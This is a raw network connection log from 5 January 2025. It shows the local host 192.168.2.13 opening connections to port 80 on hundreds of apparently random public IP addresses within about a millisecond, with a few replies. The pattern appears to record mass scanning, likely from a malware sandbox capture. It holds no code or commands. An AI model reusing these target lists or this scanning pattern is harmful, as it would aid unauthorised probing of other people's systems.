Jan 5, 2025 14:27:00.696883917 CET	56958	80	192.168.2.13	190.181.9.248
Jan 5, 2025 14:27:00.696886063 CET	56958	80	192.168.2.13	97.135.196.35
Jan 5, 2025 14:27:00.696887016 CET	56958	80	192.168.2.13	109.249.69.108
Jan 5, 2025 14:27:00.696887016 CET	56958	80	192.168.2.13	187.164.62.86
Jan 5, 2025 14:27:00.696887016 CET	56958	80	192.168.2.13	157.95.247.248
Jan 5, 2025 14:27:00.696894884 CET	56958	80	192.168.2.13	25.20.18.109
Jan 5, 2025 14:27:00.696896076 CET	56958	80	192.168.2.13	92.40.63.253
Jan 5, 2025 14:27:00.696896076 CET	56958	80	192.168.2.13	65.165.130.179
Jan 5, 2025 14:27:00.696896076 CET	56958	80	192.168.2.13	116.21.238.146
Jan 5, 2025 14:27:00.696897030 CET	56958	80	192.168.2.13	173.96.63.211
Jan 5, 2025 14:27:00.696897030 CET	56958	80	192.168.2.13	110.205.79.110
Jan 5, 2025 14:27:00.696918964 CET	56958	80	192.168.2.13	73.161.81.14
Jan 5, 2025 14:27:00.696921110 CET	56958	80	192.168.2.13	123.215.215.186
Jan 5, 2025 14:27:00.696918964 CET	56958	80	192.168.2.13	216.123.120.109
Jan 5, 2025 14:27:00.696922064 CET	56958	80	192.168.2.13	108.187.25.97
Jan 5, 2025 14:27:00.696923018 CET	80	40428	123.140.128.249	192.168.2.13
Jan 5, 2025 14:27:00.696927071 CET	56958	80	192.168.2.13	52.183.162.104
Jan 5, 2025 14:27:00.696928024 CET	56958	80	192.168.2.13	97.37.97.216
Jan 5, 2025 14:27:00.696928978 CET	56958	80	192.168.2.13	148.54.110.174
Jan 5, 2025 14:27:00.696929932 CET	56958	80	192.168.2.13	47.239.157.30
Jan 5, 2025 14:27:00.696932077 CET	80	60540	41.87.48.244	192.168.2.13
Jan 5, 2025 14:27:00.696934938 CET	56958	80	192.168.2.13	221.24.13.209
Jan 5, 2025 14:27:00.696934938 CET	56958	80	192.168.2.13	146.160.30.227
Jan 5, 2025 14:27:00.696934938 CET	56958	80	192.168.2.13	108.8.190.234
Jan 5, 2025 14:27:00.696938992 CET	56958	80	192.168.2.13	205.46.178.139
Jan 5, 2025 14:27:00.696940899 CET	80	56090	44.47.134.77	192.168.2.13
Jan 5, 2025 14:27:00.696945906 CET	80	46188	51.92.13.108	192.168.2.13
Jan 5, 2025 14:27:00.696945906 CET	56958	80	192.168.2.13	114.151.151.38
Jan 5, 2025 14:27:00.696945906 CET	56958	80	192.168.2.13	165.216.102.162
Jan 5, 2025 14:27:00.696947098 CET	56958	80	192.168.2.13	171.174.34.183
Jan 5, 2025 14:27:00.696947098 CET	56958	80	192.168.2.13	101.207.239.135
Jan 5, 2025 14:27:00.696950912 CET	56958	80	192.168.2.13	135.140.0.101
Jan 5, 2025 14:27:00.696952105 CET	56958	80	192.168.2.13	93.117.141.235
Jan 5, 2025 14:27:00.696958065 CET	56958	80	192.168.2.13	143.200.214.7
Jan 5, 2025 14:27:00.696959972 CET	40428	80	192.168.2.13	123.140.128.249
Jan 5, 2025 14:27:00.696959972 CET	56958	80	192.168.2.13	149.230.39.15
Jan 5, 2025 14:27:00.696960926 CET	56958	80	192.168.2.13	119.164.80.49
Jan 5, 2025 14:27:00.696960926 CET	56958	80	192.168.2.13	222.146.36.167
Jan 5, 2025 14:27:00.696963072 CET	56958	80	192.168.2.13	133.183.125.149
Jan 5, 2025 14:27:00.696980000 CET	46188	80	192.168.2.13	51.92.13.108
Jan 5, 2025 14:27:00.696980953 CET	56090	80	192.168.2.13	44.47.134.77
Jan 5, 2025 14:27:00.696985006 CET	60540	80	192.168.2.13	41.87.48.244
Jan 5, 2025 14:27:00.696995974 CET	56958	80	192.168.2.13	83.160.65.205
Jan 5, 2025 14:27:00.696995974 CET	56958	80	192.168.2.13	83.123.3.189
Jan 5, 2025 14:27:00.696995974 CET	56958	80	192.168.2.13	81.56.198.192
Jan 5, 2025 14:27:00.697004080 CET	56958	80	192.168.2.13	143.239.220.234
Jan 5, 2025 14:27:00.697016954 CET	56958	80	192.168.2.13	168.177.182.157
Jan 5, 2025 14:27:00.697017908 CET	56958	80	192.168.2.13	200.246.254.112
Jan 5, 2025 14:27:00.697020054 CET	56958	80	192.168.2.13	196.11.7.66
Jan 5, 2025 14:27:00.697021008 CET	56958	80	192.168.2.13	207.38.172.50
Jan 5, 2025 14:27:00.697032928 CET	56958	80	192.168.2.13	118.228.190.86
Jan 5, 2025 14:27:00.697033882 CET	56958	80	192.168.2.13	134.1.2.149
Jan 5, 2025 14:27:00.697035074 CET	56958	80	192.168.2.13	42.56.79.181
Jan 5, 2025 14:27:00.697035074 CET	56958	80	192.168.2.13	87.122.2.244
Jan 5, 2025 14:27:00.697040081 CET	56958	80	192.168.2.13	204.50.196.19
Jan 5, 2025 14:27:00.697040081 CET	56958	80	192.168.2.13	9.252.32.44
Jan 5, 2025 14:27:00.697040081 CET	56958	80	192.168.2.13	179.160.91.147
Jan 5, 2025 14:27:00.697041035 CET	56958	80	192.168.2.13	178.53.60.121
Jan 5, 2025 14:27:00.697041035 CET	56958	80	192.168.2.13	103.33.151.147
Jan 5, 2025 14:27:00.697045088 CET	56958	80	192.168.2.13	180.46.230.110
Jan 5, 2025 14:27:00.697047949 CET	56958	80	192.168.2.13	57.17.150.204
Jan 5, 2025 14:27:00.697045088 CET	56958	80	192.168.2.13	138.241.108.247
Jan 5, 2025 14:27:00.697045088 CET	80	44024	35.41.199.92	192.168.2.13
Jan 5, 2025 14:27:00.697047949 CET	56958	80	192.168.2.13	217.45.39.186
Jan 5, 2025 14:27:00.697047949 CET	56958	80	192.168.2.13	143.165.129.46
Jan 5, 2025 14:27:00.697047949 CET	56958	80	192.168.2.13	124.225.161.62
Jan 5, 2025 14:27:00.697045088 CET	56958	80	192.168.2.13	217.114.72.201
Jan 5, 2025 14:27:00.697046041 CET	56958	80	192.168.2.13	1.177.240.168
Jan 5, 2025 14:27:00.697057962 CET	56958	80	192.168.2.13	104.207.124.156
Jan 5, 2025 14:27:00.697057962 CET	56958	80	192.168.2.13	64.70.179.75
Jan 5, 2025 14:27:00.697057962 CET	56958	80	192.168.2.13	189.34.141.133
Jan 5, 2025 14:27:00.697057962 CET	56958	80	192.168.2.13	135.48.17.147
Jan 5, 2025 14:27:00.697058916 CET	56958	80	192.168.2.13	35.173.246.184
Jan 5, 2025 14:27:00.697058916 CET	56958	80	192.168.2.13	36.196.232.38
Jan 5, 2025 14:27:00.697058916 CET	56958	80	192.168.2.13	165.116.58.120
Jan 5, 2025 14:27:00.697061062 CET	56958	80	192.168.2.13	96.236.177.5
Jan 5, 2025 14:27:00.697062016 CET	80	41200	209.47.23.74	192.168.2.13
Jan 5, 2025 14:27:00.697068930 CET	56958	80	192.168.2.13	195.214.229.47
Jan 5, 2025 14:27:00.697071075 CET	80	47376	154.45.118.128	192.168.2.13
Jan 5, 2025 14:27:00.697071075 CET	56958	80	192.168.2.13	149.141.242.79
Jan 5, 2025 14:27:00.697071075 CET	56958	80	192.168.2.13	71.29.247.96
Jan 5, 2025 14:27:00.697074890 CET	56958	80	192.168.2.13	197.83.194.215
Jan 5, 2025 14:27:00.697074890 CET	56958	80	192.168.2.13	118.107.9.0
Jan 5, 2025 14:27:00.697074890 CET	56958	80	192.168.2.13	197.174.84.85
Jan 5, 2025 14:27:00.697077036 CET	56958	80	192.168.2.13	48.26.184.110
Jan 5, 2025 14:27:00.697077036 CET	56958	80	192.168.2.13	104.253.9.34
Jan 5, 2025 14:27:00.697078943 CET	56958	80	192.168.2.13	217.73.67.71
Jan 5, 2025 14:27:00.697078943 CET	56958	80	192.168.2.13	157.1.64.220
Jan 5, 2025 14:27:00.697079897 CET	56958	80	192.168.2.13	169.128.161.220
Jan 5, 2025 14:27:00.697079897 CET	56958	80	192.168.2.13	149.66.245.97
Jan 5, 2025 14:27:00.697081089 CET	80	58958	36.162.123.56	192.168.2.13
Jan 5, 2025 14:27:00.697082043 CET	56958	80	192.168.2.13	195.97.197.242
Jan 5, 2025 14:27:00.697082043 CET	56958	80	192.168.2.13	109.130.80.6
Jan 5, 2025 14:27:00.697082043 CET	56958	80	192.168.2.13	170.45.174.135
Jan 5, 2025 14:27:00.697083950 CET	56958	80	192.168.2.13	188.168.97.222
Jan 5, 2025 14:27:00.697083950 CET	56958	80	192.168.2.13	158.108.17.117
Jan 5, 2025 14:27:00.697086096 CET	56958	80	192.168.2.13	138.135.6.150
Jan 5, 2025 14:27:00.697091103 CET	80	42832	151.106.177.94	192.168.2.13
Jan 5, 2025 14:27:00.697091103 CET	56958	80	192.168.2.13	154.38.99.250
Jan 5, 2025 14:27:00.697093010 CET	56958	80	192.168.2.13	184.9.41.73
Jan 5, 2025 14:27:00.697093010 CET	56958	80	192.168.2.13	101.18.107.58
Jan 5, 2025 14:27:00.697093010 CET	56958	80	192.168.2.13	177.23.74.247
Jan 5, 2025 14:27:00.697096109 CET	56958	80	192.168.2.13	66.47.146.178
Jan 5, 2025 14:27:00.697097063 CET	56958	80	192.168.2.13	90.79.100.134
Jan 5, 2025 14:27:00.697097063 CET	56958	80	192.168.2.13	192.210.168.3
Jan 5, 2025 14:27:00.697099924 CET	80	38734	5.197.123.230	192.168.2.13
Jan 5, 2025 14:27:00.697108030 CET	56958	80	192.168.2.13	207.118.99.156
Jan 5, 2025 14:27:00.697108030 CET	56958	80	192.168.2.13	126.140.188.181
Jan 5, 2025 14:27:00.697108030 CET	41200	80	192.168.2.13	209.47.23.74
Jan 5, 2025 14:27:00.697109938 CET	44024	80	192.168.2.13	35.41.199.92
Jan 5, 2025 14:27:00.697109938 CET	56958	80	192.168.2.13	95.233.229.39
Jan 5, 2025 14:27:00.697109938 CET	80	36504	57.62.244.9	192.168.2.13
Jan 5, 2025 14:27:00.697109938 CET	56958	80	192.168.2.13	178.173.113.117
Jan 5, 2025 14:27:00.697115898 CET	56958	80	192.168.2.13	87.226.184.8
Jan 5, 2025 14:27:00.697115898 CET	56958	80	192.168.2.13	143.217.62.219
Jan 5, 2025 14:27:00.697119951 CET	56958	80	192.168.2.13	128.163.38.95
Jan 5, 2025 14:27:00.697119951 CET	56958	80	192.168.2.13	211.26.40.9
Jan 5, 2025 14:27:00.697119951 CET	56958	80	192.168.2.13	155.130.252.3
Jan 5, 2025 14:27:00.697119951 CET	58958	80	192.168.2.13	36.162.123.56
Jan 5, 2025 14:27:00.697123051 CET	80	39278	177.16.157.212	192.168.2.13
Jan 5, 2025 14:27:00.697124004 CET	56958	80	192.168.2.13	8.152.120.136
Jan 5, 2025 14:27:00.697124004 CET	47376	80	192.168.2.13	154.45.118.128
Jan 5, 2025 14:27:00.697124958 CET	42832	80	192.168.2.13	151.106.177.94
Jan 5, 2025 14:27:00.697134972 CET	56958	80	192.168.2.13	210.212.167.38
Jan 5, 2025 14:27:00.697134972 CET	56958	80	192.168.2.13	107.58.121.135
Jan 5, 2025 14:27:00.697138071 CET	56958	80	192.168.2.13	96.81.200.201
Jan 5, 2025 14:27:00.697138071 CET	56958	80	192.168.2.13	183.163.249.152
Jan 5, 2025 14:27:00.697139025 CET	80	60272	94.35.93.233	192.168.2.13
Jan 5, 2025 14:27:00.697141886 CET	56958	80	192.168.2.13	195.23.83.109
Jan 5, 2025 14:27:00.697143078 CET	38734	80	192.168.2.13	5.197.123.230
Jan 5, 2025 14:27:00.697143078 CET	36504	80	192.168.2.13	57.62.244.9
Jan 5, 2025 14:27:00.697143078 CET	56958	80	192.168.2.13	216.200.180.41
Jan 5, 2025 14:27:00.697148085 CET	80	50788	64.101.190.89	192.168.2.13
Jan 5, 2025 14:27:00.697154999 CET	56958	80	192.168.2.13	126.156.187.50
Jan 5, 2025 14:27:00.697158098 CET	80	56716	99.165.239.189	192.168.2.13
Jan 5, 2025 14:27:00.697160959 CET	39278	80	192.168.2.13	177.16.157.212
Jan 5, 2025 14:27:00.697160959 CET	56958	80	192.168.2.13	206.178.111.135
Jan 5, 2025 14:27:00.697166920 CET	80	56046	90.167.60.3	192.168.2.13
Jan 5, 2025 14:27:00.697170019 CET	56958	80	192.168.2.13	211.24.25.231
Jan 5, 2025 14:27:00.697171926 CET	60272	80	192.168.2.13	94.35.93.233
Jan 5, 2025 14:27:00.697175980 CET	80	39078	126.184.49.221	192.168.2.13
Jan 5, 2025 14:27:00.697179079 CET	56958	80	192.168.2.13	9.158.53.214
Jan 5, 2025 14:27:00.697179079 CET	50788	80	192.168.2.13	64.101.190.89
Jan 5, 2025 14:27:00.697186947 CET	80	54670	88.28.204.158	192.168.2.13
Jan 5, 2025 14:27:00.697191954 CET	56958	80	192.168.2.13	53.130.117.137
Jan 5, 2025 14:27:00.697192907 CET	56046	80	192.168.2.13	90.167.60.3
Jan 5, 2025 14:27:00.697192907 CET	56716	80	192.168.2.13	99.165.239.189
Jan 5, 2025 14:27:00.697196007 CET	80	51812	99.107.143.62	192.168.2.13
Jan 5, 2025 14:27:00.697205067 CET	56958	80	192.168.2.13	103.180.33.226
Jan 5, 2025 14:27:00.697206020 CET	80	42148	20.87.241.88	192.168.2.13
Jan 5, 2025 14:27:00.697206020 CET	56958	80	192.168.2.13	134.252.190.170
Jan 5, 2025 14:27:00.697215080 CET	80	47826	99.44.37.44	192.168.2.13
Jan 5, 2025 14:27:00.697216988 CET	39078	80	192.168.2.13	126.184.49.221
Jan 5, 2025 14:27:00.697221041 CET	51812	80	192.168.2.13	99.107.143.62
Jan 5, 2025 14:27:00.697223902 CET	80	52496	59.172.117.26	192.168.2.13
Jan 5, 2025 14:27:00.697226048 CET	54670	80	192.168.2.13	88.28.204.158
Jan 5, 2025 14:27:00.697228909 CET	56958	80	192.168.2.13	62.66.120.40
Jan 5, 2025 14:27:00.697235107 CET	80	45124	105.173.184.192	192.168.2.13
Jan 5, 2025 14:27:00.697237968 CET	56958	80	192.168.2.13	217.225.176.98
Jan 5, 2025 14:27:00.697238922 CET	42148	80	192.168.2.13	20.87.241.88
Jan 5, 2025 14:27:00.697246075 CET	80	38596	171.208.31.151	192.168.2.13
Jan 5, 2025 14:27:00.697248936 CET	56958	80	192.168.2.13	27.158.168.151
Jan 5, 2025 14:27:00.697252035 CET	56958	80	192.168.2.13	31.184.129.66
Jan 5, 2025 14:27:00.697252035 CET	47826	80	192.168.2.13	99.44.37.44
Jan 5, 2025 14:27:00.697263002 CET	52496	80	192.168.2.13	59.172.117.26
Jan 5, 2025 14:27:00.697263002 CET	45124	80	192.168.2.13	105.173.184.192
Jan 5, 2025 14:27:00.697266102 CET	56958	80	192.168.2.13	61.164.10.227
Jan 5, 2025 14:27:00.697279930 CET	56958	80	192.168.2.13	131.110.205.27
Jan 5, 2025 14:27:00.697279930 CET	56958	80	192.168.2.13	150.83.57.50
Jan 5, 2025 14:27:00.697288036 CET	56958	80	192.168.2.13	175.98.124.206
Jan 5, 2025 14:27:00.697288036 CET	38596	80	192.168.2.13	171.208.31.151
Jan 5, 2025 14:27:00.697288036 CET	56958	80	192.168.2.13	43.65.127.201
Jan 5, 2025 14:27:00.697294950 CET	56958	80	192.168.2.13	153.84.161.161
Jan 5, 2025 14:27:00.697297096 CET	56958	80	192.168.2.13	114.249.41.185
Jan 5, 2025 14:27:00.697312117 CET	56958	80	192.168.2.13	20.158.151.159
Jan 5, 2025 14:27:00.697313070 CET	56958	80	192.168.2.13	58.233.100.182
Jan 5, 2025 14:27:00.697314978 CET	56958	80	192.168.2.13	207.146.114.183
Jan 5, 2025 14:27:00.697315931 CET	56958	80	192.168.2.13	76.0.45.148
Jan 5, 2025 14:27:00.697318077 CET	56958	80	192.168.2.13	66.230.193.105
Jan 5, 2025 14:27:00.697315931 CET	56958	80	192.168.2.13	202.95.56.127
Jan 5, 2025 14:27:00.697319984 CET	56958	80	192.168.2.13	49.126.92.99
Jan 5, 2025 14:27:00.697320938 CET	56958	80	192.168.2.13	141.8.237.70
Jan 5, 2025 14:27:00.697329044 CET	56958	80	192.168.2.13	70.225.213.115
Jan 5, 2025 14:27:00.697336912 CET	56958	80	192.168.2.13	135.219.29.170
Jan 5, 2025 14:27:00.697336912 CET	56958	80	192.168.2.13	17.94.130.36
Jan 5, 2025 14:27:00.697338104 CET	56958	80	192.168.2.13	124.231.42.73
Jan 5, 2025 14:27:00.697340965 CET	56958	80	192.168.2.13	167.108.213.186
Jan 5, 2025 14:27:00.697341919 CET	56958	80	192.168.2.13	151.87.23.216
Jan 5, 2025 14:27:00.697350025 CET	56958	80	192.168.2.13	37.70.77.36
Jan 5, 2025 14:27:00.697350025 CET	56958	80	192.168.2.13	14.166.194.160
Jan 5, 2025 14:27:00.697355032 CET	56958	80	192.168.2.13	12.201.79.11
Jan 5, 2025 14:27:00.697355032 CET	56958	80	192.168.2.13	182.36.44.24
Jan 5, 2025 14:27:00.697355986 CET	56958	80	192.168.2.13	164.232.216.158
Jan 5, 2025 14:27:00.697360039 CET	56958	80	192.168.2.13	8.121.187.99
Jan 5, 2025 14:27:00.697360039 CET	56958	80	192.168.2.13	108.84.100.93
Jan 5, 2025 14:27:00.697360039 CET	56958	80	192.168.2.13	53.28.234.126
Jan 5, 2025 14:27:00.697360992 CET	56958	80	192.168.2.13	122.80.125.239
Jan 5, 2025 14:27:00.697367907 CET	56958	80	192.168.2.13	130.19.157.206
Jan 5, 2025 14:27:00.697367907 CET	56958	80	192.168.2.13	163.78.121.121
Jan 5, 2025 14:27:00.697376013 CET	56958	80	192.168.2.13	79.17.3.141
Jan 5, 2025 14:27:00.697380066 CET	56958	80	192.168.2.13	5.245.234.236
Jan 5, 2025 14:27:00.697380066 CET	56958	80	192.168.2.13	116.226.163.113
Jan 5, 2025 14:27:00.697386026 CET	56958	80	192.168.2.13	171.168.213.74
Jan 5, 2025 14:27:00.697391033 CET	56958	80	192.168.2.13	107.95.225.62
Jan 5, 2025 14:27:00.697391033 CET	56958	80	192.168.2.13	66.117.19.167
Jan 5, 2025 14:27:00.697391033 CET	56958	80	192.168.2.13	137.172.64.117
Jan 5, 2025 14:27:00.697392941 CET	56958	80	192.168.2.13	42.138.152.49
Jan 5, 2025 14:27:00.697401047 CET	56958	80	192.168.2.13	221.84.37.111
Jan 5, 2025 14:27:00.697402000 CET	56958	80	192.168.2.13	176.99.241.109
Jan 5, 2025 14:27:00.697407007 CET	56958	80	192.168.2.13	24.36.59.103
Jan 5, 2025 14:27:00.697412014 CET	56958	80	192.168.2.13	110.183.74.196
Jan 5, 2025 14:27:00.697412014 CET	56958	80	192.168.2.13	79.203.106.18
Jan 5, 2025 14:27:00.697412968 CET	56958	80	192.168.2.13	47.18.110.209
Jan 5, 2025 14:27:00.697415113 CET	56958	80	192.168.2.13	12.19.219.131
Jan 5, 2025 14:27:00.697421074 CET	56958	80	192.168.2.13	152.205.201.214
Jan 5, 2025 14:27:00.697434902 CET	56958	80	192.168.2.13	203.215.158.70
Jan 5, 2025 14:27:00.697434902 CET	56958	80	192.168.2.13	8.197.169.73
Jan 5, 2025 14:27:00.697436094 CET	56958	80	192.168.2.13	173.232.135.166
Jan 5, 2025 14:27:00.697436094 CET	56958	80	192.168.2.13	38.125.35.63
Jan 5, 2025 14:27:00.697438955 CET	56958	80	192.168.2.13	120.32.155.60
Jan 5, 2025 14:27:00.697438955 CET	56958	80	192.168.2.13	197.98.13.49
Jan 5, 2025 14:27:00.697444916 CET	56958	80	192.168.2.13	197.73.107.155
Jan 5, 2025 14:27:00.697447062 CET	56958	80	192.168.2.13	191.5.68.129
Jan 5, 2025 14:27:00.697452068 CET	56958	80	192.168.2.13	133.145.165.150
Jan 5, 2025 14:27:00.697452068 CET	56958	80	192.168.2.13	25.54.117.2
Jan 5, 2025 14:27:00.697453976 CET	56958	80	192.168.2.13	94.47.250.124
Jan 5, 2025 14:27:00.697453976 CET	56958	80	192.168.2.13	189.61.249.221
Jan 5, 2025 14:27:00.697462082 CET	56958	80	192.168.2.13	25.216.166.135
Jan 5, 2025 14:27:00.697462082 CET	56958	80	192.168.2.13	46.232.228.79
Jan 5, 2025 14:27:00.697463036 CET	56958	80	192.168.2.13	167.174.135.59
Jan 5, 2025 14:27:00.697462082 CET	56958	80	192.168.2.13	106.87.110.93
Jan 5, 2025 14:27:00.697473049 CET	56958	80	192.168.2.13	152.51.214.242
Jan 5, 2025 14:27:00.697473049 CET	56958	80	192.168.2.13	50.39.87.248
Jan 5, 2025 14:27:00.697473049 CET	56958	80	192.168.2.13	41.140.103.243
Jan 5, 2025 14:27:00.697478056 CET	56958	80	192.168.2.13	32.166.42.10
Jan 5, 2025 14:27:00.697484970 CET	56958	80	192.168.2.13	87.70.68.53
Jan 5, 2025 14:27:00.697495937 CET	56958	80	192.168.2.13	114.241.239.135
Jan 5, 2025 14:27:00.697503090 CET	56958	80	192.168.2.13	184.153.5.173
Jan 5, 2025 14:27:00.697503090 CET	56958	80	192.168.2.13	77.47.95.243
Jan 5, 2025 14:27:00.697503090 CET	56958	80	192.168.2.13	211.97.77.148
Jan 5, 2025 14:27:00.697504044 CET	56958	80	192.168.2.13	122.73.155.65
Jan 5, 2025 14:27:00.697504997 CET	56958	80	192.168.2.13	45.54.173.149
Jan 5, 2025 14:27:00.697504997 CET	56958	80	192.168.2.13	160.164.88.195
Jan 5, 2025 14:27:00.697504997 CET	56958	80	192.168.2.13	182.199.8.170
Jan 5, 2025 14:27:00.697513103 CET	56958	80	192.168.2.13	178.39.14.106
Jan 5, 2025 14:27:00.697521925 CET	56958	80	192.168.2.13	204.210.234.143
Jan 5, 2025 14:27:00.697527885 CET	56958	80	192.168.2.13	115.54.191.50
Jan 5, 2025 14:27:00.697529078 CET	56958	80	192.168.2.13	88.253.183.6
Jan 5, 2025 14:27:00.697530031 CET	56958	80	192.168.2.13	155.159.2.136
Jan 5, 2025 14:27:00.697531939 CET	56958	80	192.168.2.13	92.49.170.194
Jan 5, 2025 14:27:00.697531939 CET	56958	80	192.168.2.13	59.205.208.169
Jan 5, 2025 14:27:00.697536945 CET	56958	80	192.168.2.13	39.162.201.178
Jan 5, 2025 14:27:00.697539091 CET	56958	80	192.168.2.13	165.52.84.252
Jan 5, 2025 14:27:00.697537899 CET	56958	80	192.168.2.13	174.93.114.143
Jan 5, 2025 14:27:00.697539091 CET	56958	80	192.168.2.13	135.164.230.102
Jan 5, 2025 14:27:00.697540998 CET	56958	80	192.168.2.13	171.3.242.240
Jan 5, 2025 14:27:00.697540998 CET	56958	80	192.168.2.13	86.238.222.252
Jan 5, 2025 14:27:00.697541952 CET	56958	80	192.168.2.13	35.25.47.80
Jan 5, 2025 14:27:00.697546005 CET	56958	80	192.168.2.13	128.98.236.43
Jan 5, 2025 14:27:00.697550058 CET	56958	80	192.168.2.13	47.35.64.229
Jan 5, 2025 14:27:00.697550058 CET	56958	80	192.168.2.13	182.207.104.237
Jan 5, 2025 14:27:00.697550058 CET	56958	80	192.168.2.13	72.224.43.118
Jan 5, 2025 14:27:00.697551966 CET	56958	80	192.168.2.13	108.64.45.186
Jan 5, 2025 14:27:00.697573900 CET	56958	80	192.168.2.13	149.2.198.157
Jan 5, 2025 14:27:00.697573900 CET	56958	80	192.168.2.13	168.160.186.34
Jan 5, 2025 14:27:00.697575092 CET	56958	80	192.168.2.13	8.184.138.46
Jan 5, 2025 14:27:00.697575092 CET	56958	80	192.168.2.13	154.244.47.139
Jan 5, 2025 14:27:00.697575092 CET	56958	80	192.168.2.13	71.216.232.2
Jan 5, 2025 14:27:00.697577000 CET	56958	80	192.168.2.13	19.130.110.116
Jan 5, 2025 14:27:00.697577000 CET	56958	80	192.168.2.13	89.207.105.76
Jan 5, 2025 14:27:00.697577000 CET	56958	80	192.168.2.13	14.3.15.109
Jan 5, 2025 14:27:00.697577000 CET	56958	80	192.168.2.13	62.253.227.94
Jan 5, 2025 14:27:00.697577953 CET	56958	80	192.168.2.13	118.209.61.75
Jan 5, 2025 14:27:00.697577953 CET	56958	80	192.168.2.13	211.223.132.100
Jan 5, 2025 14:27:00.697583914 CET	56958	80	192.168.2.13	18.35.21.172
Jan 5, 2025 14:27:00.697590113 CET	56958	80	192.168.2.13	159.2.120.170
Jan 5, 2025 14:27:00.697591066 CET	56958	80	192.168.2.13	176.128.193.41
Jan 5, 2025 14:27:00.697591066 CET	56958	80	192.168.2.13	98.215.220.95
Jan 5, 2025 14:27:00.697607994 CET	56958	80	192.168.2.13	118.192.212.37
Jan 5, 2025 14:27:00.697607994 CET	56958	80	192.168.2.13	31.135.48.123
Jan 5, 2025 14:27:00.697607994 CET	56958	80	192.168.2.13	65.177.28.224
Jan 5, 2025 14:27:00.697609901 CET	56958	80	192.168.2.13	155.102.69.101
Jan 5, 2025 14:27:00.697609901 CET	56958	80	192.168.2.13	202.34.223.80
Jan 5, 2025 14:27:00.697611094 CET	56958	80	192.168.2.13	204.26.133.198
Jan 5, 2025 14:27:00.697609901 CET	56958	80	192.168.2.13	203.160.81.192
Jan 5, 2025 14:27:00.697628021 CET	56958	80	192.168.2.13	133.72.114.166
Jan 5, 2025 14:27:00.697628975 CET	56958	80	192.168.2.13	167.31.251.235
Jan 5, 2025 14:27:00.697628975 CET	56958	80	192.168.2.13	77.252.44.181
Jan 5, 2025 14:27:00.697629929 CET	56958	80	192.168.2.13	12.34.248.47
Jan 5, 2025 14:27:00.697629929 CET	56958	80	192.168.2.13	100.180.251.11
Jan 5, 2025 14:27:00.697628021 CET	56958	80	192.168.2.13	93.3.65.63
Jan 5, 2025 14:27:00.697638035 CET	56958	80	192.168.2.13	145.209.81.231
Jan 5, 2025 14:27:00.697639942 CET	56958	80	192.168.2.13	44.219.13.72
Jan 5, 2025 14:27:00.697654009 CET	56958	80	192.168.2.13	47.182.129.205
Jan 5, 2025 14:27:00.697655916 CET	56958	80	192.168.2.13	82.135.151.112
Jan 5, 2025 14:27:00.697655916 CET	56958	80	192.168.2.13	153.188.158.101
Jan 5, 2025 14:27:00.697655916 CET	56958	80	192.168.2.13	216.48.250.212
Jan 5, 2025 14:27:00.697655916 CET	56958	80	192.168.2.13	154.113.170.47
Jan 5, 2025 14:27:00.697655916 CET	56958	80	192.168.2.13	66.198.179.176
Jan 5, 2025 14:27:00.697659016 CET	56958	80	192.168.2.13	182.89.57.233
Jan 5, 2025 14:27:00.697663069 CET	56958	80	192.168.2.13	108.55.236.9
Jan 5, 2025 14:27:00.697664022 CET	56958	80	192.168.2.13	68.76.86.84
Jan 5, 2025 14:27:00.697664976 CET	56958	80	192.168.2.13	140.74.170.24
Jan 5, 2025 14:27:00.697664976 CET	56958	80	192.168.2.13	197.227.4.93
Jan 5, 2025 14:27:00.697664976 CET	56958	80	192.168.2.13	74.207.118.108
Jan 5, 2025 14:27:00.697664976 CET	56958	80	192.168.2.13	120.7.236.35
Jan 5, 2025 14:27:00.697664976 CET	56958	80	192.168.2.13	107.72.120.23
Jan 5, 2025 14:27:00.697665930 CET	56958	80	192.168.2.13	65.215.237.36
Jan 5, 2025 14:27:00.697676897 CET	56958	80	192.168.2.13	12.1.27.187
Jan 5, 2025 14:27:00.697679996 CET	56958	80	192.168.2.13	5.8.107.58
Jan 5, 2025 14:27:00.697681904 CET	56958	80	192.168.2.13	47.240.17.107
Jan 5, 2025 14:27:00.697683096 CET	56958	80	192.168.2.13	93.224.67.247
Jan 5, 2025 14:27:00.697681904 CET	56958	80	192.168.2.13	175.30.180.31
Jan 5, 2025 14:27:00.697681904 CET	56958	80	192.168.2.13	14.92.179.132
Jan 5, 2025 14:27:00.697681904 CET	56958	80	192.168.2.13	216.74.99.71
Jan 5, 2025 14:27:00.697690010 CET	56958	80	192.168.2.13	169.170.241.190
Jan 5, 2025 14:27:00.697693110 CET	56958	80	192.168.2.13	63.151.14.247
Jan 5, 2025 14:27:00.697693110 CET	56958	80	192.168.2.13	134.15.69.95
Jan 5, 2025 14:27:00.697705984 CET	56958	80	192.168.2.13	219.90.179.133
Jan 5, 2025 14:27:00.697707891 CET	56958	80	192.168.2.13	54.223.88.182
Jan 5, 2025 14:27:00.697710037 CET	56958	80	192.168.2.13	172.42.82.161
Jan 5, 2025 14:27:00.697711945 CET	56958	80	192.168.2.13	135.151.205.91
Jan 5, 2025 14:27:00.697716951 CET	56958	80	192.168.2.13	174.97.193.95
Jan 5, 2025 14:27:00.697716951 CET	56958	80	192.168.2.13	62.47.181.254
Jan 5, 2025 14:27:00.697719097 CET	56958	80	192.168.2.13	96.114.235.68
Jan 5, 2025 14:27:00.697719097 CET	56958	80	192.168.2.13	183.242.230.100
Jan 5, 2025 14:27:00.697721004 CET	56958	80	192.168.2.13	87.154.102.54
Jan 5, 2025 14:27:00.697727919 CET	56958	80	192.168.2.13	209.136.150.18
Jan 5, 2025 14:27:00.697727919 CET	56958	80	192.168.2.13	32.34.189.57
Jan 5, 2025 14:27:00.697746992 CET	57898	80	192.168.2.13	144.207.69.32
Jan 5, 2025 14:27:00.697763920 CET	55204	80	192.168.2.13	113.80.14.65
Jan 5, 2025 14:27:00.697763920 CET	58500	80	192.168.2.13	109.175.231.58
Jan 5, 2025 14:27:00.697763920 CET	49820	80	192.168.2.13	118.142.10.222
Jan 5, 2025 14:27:00.697784901 CET	40082	80	192.168.2.13	42.224.57.42
Jan 5, 2025 14:27:00.697789907 CET	33176	80	192.168.2.13	161.110.36.170
Jan 5, 2025 14:27:00.698031902 CET	80	55712	72.56.147.96	192.168.2.13
Jan 5, 2025 14:27:00.698044062 CET	80	33954	49.173.231.143	192.168.2.13
Jan 5, 2025 14:27:00.698048115 CET	42148	80	192.168.2.13	20.87.241.88
Jan 5, 2025 14:27:00.698052883 CET	80	47116	192.247.19.115	192.168.2.13
Jan 5, 2025 14:27:00.698057890 CET	54670	80	192.168.2.13	88.28.204.158
